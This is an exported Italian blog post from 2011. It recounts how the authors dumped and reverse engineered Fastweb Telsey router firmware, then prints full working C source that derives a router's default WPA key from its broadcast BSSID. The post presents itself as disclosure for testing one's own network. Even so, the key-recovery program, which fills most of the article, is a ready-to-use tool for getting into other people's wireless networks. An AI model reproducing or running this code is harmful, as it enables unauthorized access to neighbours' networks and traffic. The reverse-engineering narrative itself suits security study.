{"id":619,"date":"2011-02-12T03:20:31","date_gmt":"2011-02-12T02:20:31","guid":{"rendered":"http:\/\/www.oscene.net\/it\/?p=619"},"modified":"2011-02-12T16:01:38","modified_gmt":"2011-02-12T15:01:38","slug":"howto-algoritmo-di-generazione-delle-wpa-dei-router-fastweb","status":"publish","type":"post","link":"https:\/\/www.oscene.net\/it\/pillole\/sicurezza\/howto-algoritmo-di-generazione-delle-wpa-dei-router-fastweb","title":{"rendered":"HowTo: Algoritmo di generazione delle WPA dei router Fastweb"},"content":{"rendered":"<p><em>Articolo a cura di <strong>Giuseppe Ragozzino<\/strong><\/em><\/p>\n<h2>Introduzione<\/h2>\n<p>In questo articolo parleremo del procedimento che abbiamo usato per scoprire l&#8217;algortitmo di generazione delle chiavi WPA nei router fastweb <strong>HAG Telsey<\/strong>, distribuiti dalla societ\u00c3\u00a0 <strong>Fastweb<\/strong>.<\/p>\n<h2>Pre-Analisi del Firmware<\/h2>\n<p>Il Firmware \u00c3\u00a8 composto tra diversi binari e un file eseguibile, compilato per processori aventi un&#8217;architettura MIPS32, chiamato key_gen che contiene l&#8217;istruzioni che portano al calcolo  della wpa. L&#8217;algoritmo riguarda tutti i router che hanno un SSID del tipo FASTWEB-1-<strong>002196<\/strong>XXXXXX o FASTWEB-1-<strong>00036F<\/strong>XXXXXX.<\/p>\n<h2>Estrazione del Firmware<\/h2>\n<p>Per estrarre il firmware del seguente router abbiamo avuto bisogno dell&#8217;accesso alla console seriale dell&#8217;apparecchio.<\/p>\n<p><!--more-->Ci\u00c3\u00b2 \u00c3\u00a8 stato possibile grazie all&#8217;estrapolazione di  resistenze fra i contatti TX e RX che andavano a collegarsi con la CPU, e creando dei ponticelli tra i rispettivi pin Vcc con i pin RX e TX. <strong>La CPU \u00c3\u00a8 una BCM96358 e quindi MIPS32 BigEndian<\/strong>, dettaglio importante per reversare l&#8217;eseguibile. Una volta saldati i pin di connessione tra di loro e dopo aver  impostato i parametri di comunicazione, che sono 115200 baud\/s, 8data bit e flow control Xon\/Xoff, la console \u00c3\u00a8 risultata accessibile e abbiamo potuto verificare che il file  <strong>key_gen<\/strong> si trovasse nella cartella \/bin. A questo punto abbiamo effettuato il dump dell&#8217;intero firmware e diversi altri file che venivano richiamati dall&#8217;eseguibile key_gen.<\/p>\n<h2>Reverse engineering del Firmware e spiegazioni di parte del codice<\/h2>\n<p>Una volta avuto l&#8217;intero Firmware l&#8217;abbiamo analizzato con il noto programma di decompilazione <strong>IDA<\/strong>, e abbiamo scoperto che all&#8217;interno del file key_gen \u00c3\u00a8 pur vero che sono chiamate  altre librerie, ma queste non sono necessarie poich\u00c3\u00a8 sono solo librerie di runtime, quindi per capire come agiva l&#8217;algoritmo ci \u00c3\u00a8 bastato solo studiare il contenuto di key_gen.  Nell&#8217;algoritmo vengono trattati il <strong>MAC Address BSSID <\/strong>dell&#8217;apparato, di cui ogni coppia di cifre viene trattata come 1 byte, per un complessivo, quindi, di 6 byte.<\/p>\n<p>Per prima cosa viene creato un vettore di 256 byte e il MAC viene trattato come una sequenza di byte secondo una permutazione statica a blocchi di 4 byte ciascuno. Come vediamo  dall&#8217;algoritmo il primo schema di MAC generico \u00c3\u00a8 per il seguente primo MAC 11:22:33:44:55:66, cio\u00c3\u00a8 112233445566, quindi lo schema diventa il seguente (sempre considerando  che l&#8217;architettura \u00c3\u00a8 MIPS32 big-endian e che quindi i byte saranno copiati in memoria nell&#8217;ordine della quartina):<\/p>\n<pre>66221166,22112266,55334433,55443333,33553311,33664422,11551122,22552211,\r\n33553333,44224455,55225544,66226666,33221166,22112222,55332244,44446633\r\n55556655,66225511,33661166,33224466,66333355,33442255,11555544,44116644,\r\n55441111,44332222,33223366,22445544,11334455,11113333,11111166,22222255,\r\n55113333,44444411,11335522,66666611,11556611,22226633,33336622,44443344,\r\n22113355,22663366,11225511,22222255,33333333,44444444,66551122,55116666,\r\n22116611,11226622,33335533,44555544,55442266,66662255,44112266,44221155,\r\n55333366,55444422,33554411,33446622,44223344,66112233,66445522,11334411.<\/pre>\n<p>Ogni vettore dello schema \u00c3\u00a8 costituito da 64 blocchi di 4 byte, e ogni singolo blocco di un vettore viene salvato in memoria in modo da formare un intero a 32bit, in cui il byte  significativo \u00c3\u00a8 il primo per poi proseguire nell&#8217;elenco. Una volta riempito il vettore troviamo una funzione hashword in cui il vettore viene processato in modo iterativo un  blocco alla volta dando <strong>come risultato una sequenza di 4 byte espressa in esadecimale che verr\u00c3\u00a0 chiamata S1<\/strong>. La funzione hashword \u00c3\u00a8 la seguente:<\/p>\n<p><code><br \/>\nuint32_t hashword(const uint32_t*,   \/* the key, an array of uint32_t values *\/<br \/>\nsize_t ,   \/* the length of the key, in uint32_ts *\/<br \/>\nuint32_t);    \/* the previous hash, or an arbitrary value *\/<br \/>\n<\/code><\/p>\n<p>Come vediamo la funzione prende in ingresso un array di elementi a 32 bit, una dimensione int, e un valore di inizializzazione posto uguale a 0, quest&#8217;ultimo valore in  seguito diventer\u00c3\u00a0 il valore ricavato dal ouptut del precedente ciclo, tutto questo avviene per 64 cicli in modo tale da scorrere l&#8217;intero vettore. In seguito si dovr\u00c3\u00a0 ottenere  un nuovo vettore da 256 byte ricavato dal primo al quale vengono applicate alcune operazioni aritmetiche (LeftShift e RightShift) ad ogni blocco di byte.<\/p>\n<p>Fatto ci\u00c3\u00b2 l\u00e2\u20ac\u2122algoritmo  riapplica la funzione hashword al nuovo vettore ottenenedo <strong>una nuova sequenza di 4 byte espressa in esadecimale, che chiameremo S2<\/strong>. <strong>Avuto i valori S1 e S2 possiamo ricavare la  WPA finale<\/strong>, che si ottiene prendendo le ultime 5 cifre dell&#8217;S1 e le prime 5 cifre dell&#8217;S2.<\/p>\n<p>A tal fine possiamo concludere che i router <strong>HAG Telsey<\/strong> distribuiti da Fastweb che sembravano invulnerabili, in realt\u00c3\u00a0 lo sono. Chi volesse testare la propria  sicurezza pu\u00c3\u00b2 compilare il codice seguente, lanciarlo e poi<strong> cambiare WPA di corsa!<\/strong><\/p>\n<h2>Codice<\/h2>\n<p>Ecco il codice da compilare per effettuare dei test sulla propria rete:<\/p>\n<p><code><\/p>\n<pre>#include &lt;string.h&gt;\r\n#include &lt;sys\/param.h&gt;\r\n#ifdef linux\r\n#include &lt;endian.h&gt;\r\n#endif\r\n\r\n#if (defined(__BYTE_ORDER) &amp;&amp; defined(__LITTLE_ENDIAN) &amp;&amp; \\\r\n     __BYTE_ORDER == __LITTLE_ENDIAN) || \\\r\n    (defined(i386) || defined(__i386__) || defined(__i486__) || \\\r\n     defined(__i586__) || defined(__i686__) || defined(vax) || defined(MIPSEL))\r\n#define L_ENDIAN 1\r\n#elif (defined(__BYTE_ORDER) &amp;&amp; defined(__BIG_ENDIAN) &amp;&amp; \\\r\n       __BYTE_ORDER == __BIG_ENDIAN) || \\\r\n      (defined(sparc) || defined(POWERPC) || defined(mc68000) || defined(sel))\r\n#undef L_ENDIAN\r\n#endif\r\n\r\n#define rot(x,k) (((x)&lt;&lt;(k)) | ((x)&gt;&gt;(32-(k))))\r\n\r\n#define mix(a,b,c) \\\r\n{ \\\r\n  a -= c;  a ^= rot(c, 4);  c += b; \\\r\n  b -= a;  b ^= rot(a, 6);  a += c; \\\r\n  c -= b;  c ^= rot(b, 8);  b += a; \\\r\n  a -= c;  a ^= rot(c,16);  c += b; \\\r\n  b -= a;  b ^= rot(a,19);  a += c; \\\r\n  c -= b;  c ^= rot(b, 4);  b += a; \\\r\n}\r\n\r\n#define final(a,b,c) \\\r\n{ \\\r\n  c ^= b; c -= rot(b,14); \\\r\n  a ^= c; a -= rot(c,11); \\\r\n  b ^= a; b -= rot(a,25); \\\r\n  c ^= b; c -= rot(b,16); \\\r\n  a ^= c; a -= rot(c,4);  \\\r\n  b ^= a; b -= rot(a,14); \\\r\n  c ^= b; c -= rot(b,24); \\\r\n}\r\n\r\n#define DEBUG 1\r\n\r\nuint8_t      mac[6];\r\nuint32_t rTable[64];\r\nuint8_t pTable[256] = {\r\n    6,2,1,6,2,1,2,6,5,3,4,3,5,4,3,3,3,5,3,1,3,6,4,2,1,5,1,2,2,5,2,1,\r\n    3,5,3,3,4,2,4,5,5,2,5,4,6,2,6,6,3,2,1,6,2,1,2,2,5,3,2,4,4,4,6,3,\r\n    5,5,6,5,6,2,5,1,3,6,1,6,3,2,4,6,6,3,3,5,3,4,2,5,1,5,5,4,4,1,6,4,\r\n    5,4,1,1,4,3,2,2,3,2,3,6,2,4,5,4,1,3,4,5,1,1,3,3,1,1,1,6,2,2,2,5,\r\n    5,1,3,3,4,4,4,1,1,3,5,2,6,6,6,1,1,5,6,1,2,2,6,3,3,3,6,2,4,4,3,4,\r\n    2,1,3,5,2,6,3,6,1,2,5,1,2,2,2,5,3,3,3,3,4,4,4,4,6,5,1,2,5,1,6,6,\r\n    2,1,6,1,1,2,6,2,3,3,5,3,4,5,5,4,5,4,2,6,6,6,2,5,4,1,2,6,4,2,1,5,\r\n    5,3,3,6,5,4,4,2,3,5,4,1,3,4,6,2,4,2,3,4,6,1,2,3,6,4,5,2,1,3,4,1\r\n};\r\n\r\nuint32_t hashword(const uint32_t *k, size_t length, uint32_t initval)\r\n{\r\n    uint32_t a,b,c;\r\n    a = b = c = 0xdeadbeef + (((uint32_t)length)&lt;&lt;2) + initval;\r\n    while (length &gt; 3) {a += k[0]; b += k[1]; c += k[2]; mix(a,b,c); length -= 3; k += 3;}\r\n    switch(length) {case 3 : c+=k[2]; case 2 : b+=k[1]; case 1 : a+=k[0]; final(a,b,c); case 0: break;}\r\n    return c;\r\n}\r\n\r\nvoid parseMac(char *m)\r\n{\r\n    mac[0] = (uint8_t)(strtoul(m+0,0,16) &amp; 0xff);\r\n    mac[1] = (uint8_t)(strtoul(m+3,0,16) &amp; 0xff);\r\n    mac[2] = (uint8_t)(strtoul(m+6,0,16) &amp; 0xff);\r\n    mac[3] = (uint8_t)(strtoul(m+9,0,16) &amp; 0xff);\r\n    mac[4] = (uint8_t)(strtoul(m+12,0,16) &amp; 0xff);\r\n    mac[5] = (uint8_t)(strtoul(m+15,0,16) &amp; 0xff);\r\n    return;\r\n}\r\n\r\nvoid createTable(void)\r\n{\r\n#ifdef DEBUG\r\n    printf(\"mac address (bssid): %02x:%02x:%02x:%02x:%02x:%02x\\n\",\r\n     mac[0], mac[1], mac[2], mac[3], mac[4], mac[5]);\r\n    printf(\"\\npermuTable indexes: \");\r\n    uint8_t *p;\r\n    p = pTable;\r\n    while(*p) {\r\n     printf(\"%x\", *p);\r\n     ++p;\r\n    }\r\n    printf(\"\\n\\npermuTable values: \");\r\n#endif\r\n    uint8_t i, j;\r\n    memset((void *)&amp;rTable, 0x0, sizeof(rTable));\r\n    for (i = 0; i &lt; 64; i++) {\r\n     for (j = 0; j &lt; 4; j++) {\r\n       #ifdef L_ENDIAN\r\n        rTable[i] &lt;&lt;= 8;\r\n        rTable[i] |= mac[pTable[(i*4)+j]-1];\r\n       #else\r\n        rTable[i] &gt;&gt;= 8;\r\n        rTable[i] |= mac[pTable[(i*4)+j]-1] &lt;&lt; 24;\r\n       #endif\r\n     }\r\n     #ifdef DEBUG\r\n       printf(\"%#x \", rTable[i]);\r\n     #endif\r\n    }\r\n}\r\n\r\nvoid createWpa(void)\r\n{\r\n    uint8_t i;\r\n    uint32_t s1 = 0, s2 = 0;\r\n\r\n    for (i=0;i&lt;64;++i)\r\n     s1 = hashword(rTable,i,s1);\r\n\r\n    #ifdef DEBUG\r\n     printf(\"\\n\\ns1 hashword is: %x\\n\", s1);\r\n    #endif\r\n    s1 &amp;= 0x000fffff;\r\n    #ifdef DEBUG\r\n     printf(\"s1 &amp; 0x000fffff is: %x\\n\\npermuTable2 values: \", s1);\r\n    #endif\r\n\r\n    for (i=0;i&lt;64;++i) {\r\n          if (i &lt; 8 ) rTable[i] &lt;&lt;= 3;\r\n     else if (i &lt; 16) rTable[i] &gt;&gt;= 5;\r\n     else if (i &lt; 32) rTable[i] &gt;&gt;= 2;\r\n        else rTable[i] &lt;&lt;= 7;\r\n        #ifdef DEBUG\r\n               printf(\"%#x \", rTable[i]);\r\n        #endif\r\n    }\r\n\r\n    for (i=0;i&lt;64;++i)\r\n       s2 = hashword(rTable,i,s2);\r\n\r\n    #ifdef DEBUG\r\n      printf(\"\\n\\ns2 hashword is: %x\\n\", s2);\r\n    #endif\r\n\r\n     s2 &amp;= 0xfffff000;\r\n     s2 &gt;&gt;= 12;\r\n\r\n    #ifdef DEBUG\r\n     printf(\"s2 &amp; 0xfffff000 is: %x\\n\", s2);\r\n    #endif\r\n\r\n    printf(\"\\nwpa: %05x%05x\\n\\n\", s1, s2);\r\n\r\n    return;\r\n}\r\n\r\nint main(int argc, char *argv[])\r\n{\r\n    if (argc &lt; 2) exit(0);\r\n    char *m = argv[1];\r\n    if (strlen(m) != 17) exit(0);\r\n\r\n    #ifdef DEBUG\r\n     printf(\"\\nFastWEB Telsey WPA Recovery\\n\\t\\t-\\n\");\r\n     printf(\"\\nDebug mode is ON, printing stuff to stdout\\n\\n\");\r\n    #endif\r\n\r\n    parseMac(m);\r\n    createTable();\r\n    createWpa();\r\n\r\n    return 0;\r\n}<\/pre>\n<p><\/code><\/p>\n<p><em><strong>Oscene.net non si assume alcuna responsabilit\u00c3\u00a0 per l&#8217;uso che verr\u00c3\u00a0 fatto dell&#8217;algoritmo presentato, n\u00c3\u00a8 dall&#8217;uso del sorgente che vi propone. Le tecniche e il codice sono presentati \u00c2\u00a0solo a scopo divulgativo.<\/strong><\/em><\/p>\n<p><em>Fonte: <a href=\"http:\/\/wifiresearchers.wordpress.com\/2010\/09\/09\/telsey-fastweb-full-disclosure\/\">http:\/\/wifiresearchers.wordpress.com\/2010\/09\/09\/telsey-fastweb-full-disclosure\/<\/a><\/em><em><strong> <\/strong><\/em><\/p>\n","protected":false},"excerpt":{"rendered":"<p>Articolo a cura di Giuseppe Ragozzino Introduzione In questo articolo parleremo del procedimento che abbiamo usato per scoprire l&#8217;algortitmo di generazione delle chiavi WPA nei router fastweb HAG Telsey, distribuiti dalla societ\u00c3\u00a0 Fastweb. Pre-Analisi del Firmware Il Firmware \u00c3\u00a8 composto tra diversi binari e un file eseguibile, compilato per processori aventi un&#8217;architettura MIPS32, chiamato key_gen [&hellip;]<\/p>\n","protected":false},"author":2,"featured_media":0,"comment_status":"open","ping_status":"open","sticky":false,"template":"","format":"standard","meta":{"footnotes":""},"categories":[6],"tags":[147,54,146,149,164,150,148],"yoast_head":"<!-- This site is optimized with the Yoast SEO plugin v23.5 - https:\/\/yoast.com\/wordpress\/plugins\/seo\/ -->\n<title>HowTo: Algoritmo di generazione delle WPA dei router Fastweb - OScene.net<\/title>\n<meta name=\"robots\" content=\"index, follow, max-snippet:-1, max-image-preview:large, max-video-preview:-1\" \/>\n<link rel=\"canonical\" href=\"https:\/\/www.oscene.net\/it\/pillole\/sicurezza\/howto-algoritmo-di-generazione-delle-wpa-dei-router-fastweb\" \/>\n<meta property=\"og:locale\" content=\"it_IT\" \/>\n<meta property=\"og:type\" content=\"article\" \/>\n<meta property=\"og:title\" content=\"HowTo: Algoritmo di generazione delle WPA dei router Fastweb - OScene.net\" \/>\n<meta property=\"og:description\" content=\"Articolo a cura di Giuseppe Ragozzino Introduzione In questo articolo parleremo del procedimento che abbiamo usato per scoprire l&#8217;algortitmo di generazione delle chiavi WPA nei router fastweb HAG Telsey, distribuiti dalla societ\u00c3\u00a0 Fastweb. Pre-Analisi del Firmware Il Firmware \u00c3\u00a8 composto tra diversi binari e un file eseguibile, compilato per processori aventi un&#8217;architettura MIPS32, chiamato key_gen [&hellip;]\" \/>\n<meta property=\"og:url\" content=\"https:\/\/www.oscene.net\/it\/pillole\/sicurezza\/howto-algoritmo-di-generazione-delle-wpa-dei-router-fastweb\" \/>\n<meta property=\"og:site_name\" content=\"OScene.net\" \/>\n<meta property=\"article:published_time\" content=\"2011-02-12T02:20:31+00:00\" \/>\n<meta property=\"article:modified_time\" content=\"2011-02-12T15:01:38+00:00\" \/>\n<meta name=\"author\" content=\"Antonio Barba\" \/>\n<meta name=\"twitter:card\" content=\"summary_large_image\" \/>\n<meta name=\"twitter:label1\" content=\"Scritto da\" \/>\n\t<meta name=\"twitter:data1\" content=\"Antonio Barba\" \/>\n\t<meta name=\"twitter:label2\" content=\"Tempo di lettura stimato\" \/>\n\t<meta name=\"twitter:data2\" content=\"6 minuti\" \/>\n<script type=\"application\/ld+json\" class=\"yoast-schema-graph\">{\"@context\":\"https:\/\/schema.org\",\"@graph\":[{\"@type\":\"WebPage\",\"@id\":\"https:\/\/www.oscene.net\/it\/pillole\/sicurezza\/howto-algoritmo-di-generazione-delle-wpa-dei-router-fastweb\",\"url\":\"https:\/\/www.oscene.net\/it\/pillole\/sicurezza\/howto-algoritmo-di-generazione-delle-wpa-dei-router-fastweb\",\"name\":\"HowTo: Algoritmo di generazione delle WPA dei router Fastweb - OScene.net\",\"isPartOf\":{\"@id\":\"https:\/\/www.oscene.net\/it\/#website\"},\"datePublished\":\"2011-02-12T02:20:31+00:00\",\"dateModified\":\"2011-02-12T15:01:38+00:00\",\"author\":{\"@id\":\"https:\/\/www.oscene.net\/it\/#\/schema\/person\/df83abe3c21cb652c3ffc4aa525b96d1\"},\"breadcrumb\":{\"@id\":\"https:\/\/www.oscene.net\/it\/pillole\/sicurezza\/howto-algoritmo-di-generazione-delle-wpa-dei-router-fastweb#breadcrumb\"},\"inLanguage\":\"it-IT\",\"potentialAction\":[{\"@type\":\"ReadAction\",\"target\":[\"https:\/\/www.oscene.net\/it\/pillole\/sicurezza\/howto-algoritmo-di-generazione-delle-wpa-dei-router-fastweb\"]}]},{\"@type\":\"BreadcrumbList\",\"@id\":\"https:\/\/www.oscene.net\/it\/pillole\/sicurezza\/howto-algoritmo-di-generazione-delle-wpa-dei-router-fastweb#breadcrumb\",\"itemListElement\":[{\"@type\":\"ListItem\",\"position\":1,\"name\":\"Home\",\"item\":\"https:\/\/www.oscene.net\/it\"},{\"@type\":\"ListItem\",\"position\":2,\"name\":\"HowTo: Algoritmo di generazione delle WPA dei router Fastweb\"}]},{\"@type\":\"WebSite\",\"@id\":\"https:\/\/www.oscene.net\/it\/#website\",\"url\":\"https:\/\/www.oscene.net\/it\/\",\"name\":\"OScene.net\",\"description\":\"Ope(rating)n S(ystem)ource Scenario\",\"potentialAction\":[{\"@type\":\"SearchAction\",\"target\":{\"@type\":\"EntryPoint\",\"urlTemplate\":\"https:\/\/www.oscene.net\/it\/?s={search_term_string}\"},\"query-input\":{\"@type\":\"PropertyValueSpecification\",\"valueRequired\":true,\"valueName\":\"search_term_string\"}}],\"inLanguage\":\"it-IT\"},{\"@type\":\"Person\",\"@id\":\"https:\/\/www.oscene.net\/it\/#\/schema\/person\/df83abe3c21cb652c3ffc4aa525b96d1\",\"name\":\"Antonio Barba\",\"image\":{\"@type\":\"ImageObject\",\"inLanguage\":\"it-IT\",\"@id\":\"https:\/\/www.oscene.net\/it\/#\/schema\/person\/image\/\",\"url\":\"https:\/\/secure.gravatar.com\/avatar\/3cd4232e83d5d207d431e6fbafe5c3c2?s=96&d=retro&r=g\",\"contentUrl\":\"https:\/\/secure.gravatar.com\/avatar\/3cd4232e83d5d207d431e6fbafe5c3c2?s=96&d=retro&r=g\",\"caption\":\"Antonio Barba\"},\"sameAs\":[\"http:\/\/www.oscene.net\"],\"url\":\"https:\/\/www.oscene.net\/it\/author\/thekaneb\"}]}<\/script>\n<!-- \/ Yoast SEO plugin. -->","yoast_head_json":{"title":"HowTo: Algoritmo di generazione delle WPA dei router Fastweb - OScene.net","robots":{"index":"index","follow":"follow","max-snippet":"max-snippet:-1","max-image-preview":"max-image-preview:large","max-video-preview":"max-video-preview:-1"},"canonical":"https:\/\/www.oscene.net\/it\/pillole\/sicurezza\/howto-algoritmo-di-generazione-delle-wpa-dei-router-fastweb","og_locale":"it_IT","og_type":"article","og_title":"HowTo: Algoritmo di generazione delle WPA dei router Fastweb - OScene.net","og_description":"Articolo a cura di Giuseppe Ragozzino Introduzione In questo articolo parleremo del procedimento che abbiamo usato per scoprire l&#8217;algortitmo di generazione delle chiavi WPA nei router fastweb HAG Telsey, distribuiti dalla societ\u00c3\u00a0 Fastweb. Pre-Analisi del Firmware Il Firmware \u00c3\u00a8 composto tra diversi binari e un file eseguibile, compilato per processori aventi un&#8217;architettura MIPS32, chiamato key_gen [&hellip;]","og_url":"https:\/\/www.oscene.net\/it\/pillole\/sicurezza\/howto-algoritmo-di-generazione-delle-wpa-dei-router-fastweb","og_site_name":"OScene.net","article_published_time":"2011-02-12T02:20:31+00:00","article_modified_time":"2011-02-12T15:01:38+00:00","author":"Antonio Barba","twitter_card":"summary_large_image","twitter_misc":{"Scritto da":"Antonio Barba","Tempo di lettura stimato":"6 minuti"},"schema":{"@context":"https:\/\/schema.org","@graph":[{"@type":"WebPage","@id":"https:\/\/www.oscene.net\/it\/pillole\/sicurezza\/howto-algoritmo-di-generazione-delle-wpa-dei-router-fastweb","url":"https:\/\/www.oscene.net\/it\/pillole\/sicurezza\/howto-algoritmo-di-generazione-delle-wpa-dei-router-fastweb","name":"HowTo: Algoritmo di generazione delle WPA dei router Fastweb - OScene.net","isPartOf":{"@id":"https:\/\/www.oscene.net\/it\/#website"},"datePublished":"2011-02-12T02:20:31+00:00","dateModified":"2011-02-12T15:01:38+00:00","author":{"@id":"https:\/\/www.oscene.net\/it\/#\/schema\/person\/df83abe3c21cb652c3ffc4aa525b96d1"},"breadcrumb":{"@id":"https:\/\/www.oscene.net\/it\/pillole\/sicurezza\/howto-algoritmo-di-generazione-delle-wpa-dei-router-fastweb#breadcrumb"},"inLanguage":"it-IT","potentialAction":[{"@type":"ReadAction","target":["https:\/\/www.oscene.net\/it\/pillole\/sicurezza\/howto-algoritmo-di-generazione-delle-wpa-dei-router-fastweb"]}]},{"@type":"BreadcrumbList","@id":"https:\/\/www.oscene.net\/it\/pillole\/sicurezza\/howto-algoritmo-di-generazione-delle-wpa-dei-router-fastweb#breadcrumb","itemListElement":[{"@type":"ListItem","position":1,"name":"Home","item":"https:\/\/www.oscene.net\/it"},{"@type":"ListItem","position":2,"name":"HowTo: Algoritmo di generazione delle WPA dei router Fastweb"}]},{"@type":"WebSite","@id":"https:\/\/www.oscene.net\/it\/#website","url":"https:\/\/www.oscene.net\/it\/","name":"OScene.net","description":"Ope(rating)n S(ystem)ource Scenario","potentialAction":[{"@type":"SearchAction","target":{"@type":"EntryPoint","urlTemplate":"https:\/\/www.oscene.net\/it\/?s={search_term_string}"},"query-input":{"@type":"PropertyValueSpecification","valueRequired":true,"valueName":"search_term_string"}}],"inLanguage":"it-IT"},{"@type":"Person","@id":"https:\/\/www.oscene.net\/it\/#\/schema\/person\/df83abe3c21cb652c3ffc4aa525b96d1","name":"Antonio Barba","image":{"@type":"ImageObject","inLanguage":"it-IT","@id":"https:\/\/www.oscene.net\/it\/#\/schema\/person\/image\/","url":"https:\/\/secure.gravatar.com\/avatar\/3cd4232e83d5d207d431e6fbafe5c3c2?s=96&d=retro&r=g","contentUrl":"https:\/\/secure.gravatar.com\/avatar\/3cd4232e83d5d207d431e6fbafe5c3c2?s=96&d=retro&r=g","caption":"Antonio Barba"},"sameAs":["http:\/\/www.oscene.net"],"url":"https:\/\/www.oscene.net\/it\/author\/thekaneb"}]}},"_links":{"self":[{"href":"https:\/\/www.oscene.net\/it\/wp-json\/wp\/v2\/posts\/619"}],"collection":[{"href":"https:\/\/www.oscene.net\/it\/wp-json\/wp\/v2\/posts"}],"about":[{"href":"https:\/\/www.oscene.net\/it\/wp-json\/wp\/v2\/types\/post"}],"author":[{"embeddable":true,"href":"https:\/\/www.oscene.net\/it\/wp-json\/wp\/v2\/users\/2"}],"replies":[{"embeddable":true,"href":"https:\/\/www.oscene.net\/it\/wp-json\/wp\/v2\/comments?post=619"}],"version-history":[{"count":11,"href":"https:\/\/www.oscene.net\/it\/wp-json\/wp\/v2\/posts\/619\/revisions"}],"predecessor-version":[{"id":630,"href":"https:\/\/www.oscene.net\/it\/wp-json\/wp\/v2\/posts\/619\/revisions\/630"}],"wp:attachment":[{"href":"https:\/\/www.oscene.net\/it\/wp-json\/wp\/v2\/media?parent=619"}],"wp:term":[{"taxonomy":"category","embeddable":true,"href":"https:\/\/www.oscene.net\/it\/wp-json\/wp\/v2\/categories?post=619"},{"taxonomy":"post_tag","embeddable":true,"href":"https:\/\/www.oscene.net\/it\/wp-json\/wp\/v2\/tags?post=619"}],"curies":[{"name":"wp","href":"https:\/\/api.w.org\/{rel}","templated":true}]}}